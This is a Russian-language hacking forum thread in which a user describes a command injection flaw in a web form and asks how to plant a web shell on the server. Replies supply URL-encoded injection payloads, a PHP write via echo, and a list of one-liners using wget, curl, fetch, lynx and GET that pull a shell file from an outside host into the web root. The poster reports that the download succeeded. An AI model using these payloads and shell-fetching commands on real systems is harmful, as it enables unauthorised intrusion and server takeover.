Просмотр полной версии : Как создать файл имея возможность выполнить команду интерпретатора?
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B
после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
(%3E - это ">")
Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..
2n0mie,
echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php
copy('remote file','localfile');
А, точно, можно еще просто слить файл из инета:
wget -O /some_folder/shell.php http://site.com/shell.txt
А, точно, можно еще просто слить файл из инета:
Не подскажешь ли, давно в пхп появилась функция wget?
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
$QWE = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$_POST[$key] = strtr(stripslashes($value), $QWE);
Возможно есть способ обойти такой фильтр, чтобы > не поменялось на >?
n0mie
Универсального кроссплатформенного решения боюсь нет :)
Дык, wget'ом получилось залить?
.Slip, я был прав! :p
guest3297
28.08.2008, 00:56
Nek1t
видишь разницу между /bin/bash и интерпритарором php
2TS
не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt
Получить шелл ты можешь функцией system() exec() passhru() и так далее.
php.net тут справочник по функциям.
------------------------
update
мда...
[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash.
Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash
ТС несколько путает интерпритатор PHP и /bin/bash.
Имхо просто не внимательно читаете..
"Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код."
Скачать файл получилось.. Только не wget, а fetch'ем..
Имхо просто не внимательно читаете..
Просто привык, что обычно интерпритатором называют PHP. Но собсно я изначально про /bin/bash говорил.
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код.
Гланое, что утерли нос [ cash ] и .Slip :p
Кстати есть довольно удобное решения для nixоподобных серверов когда нет возможности запустить wget или его нет.
для таких целей можно пролазеть, грубо вырожаясь через зад.
Часто сталкивался что только такие методы помогали.
curl http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
GET http://size.com/shell.txt|cp /dev/stdin /dir/shell.php
lynx: lynx -source "http://site.com/perl.txt" > /tmp/perl.pl
links: как и lynx
wget: wget -O /tmp/perl.pl http://site.com/perl.txt
GET: GET http://site.com/perl.txt > /tmp/perl.pl
fetch: fetch -o perl.pl http://site.com/perl.txt
curl: curl --output perl http://site.com/perl.txt
(c)ICEMAN-666
в том то и дело что часто встречался с фильтром символов таких как ">"
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot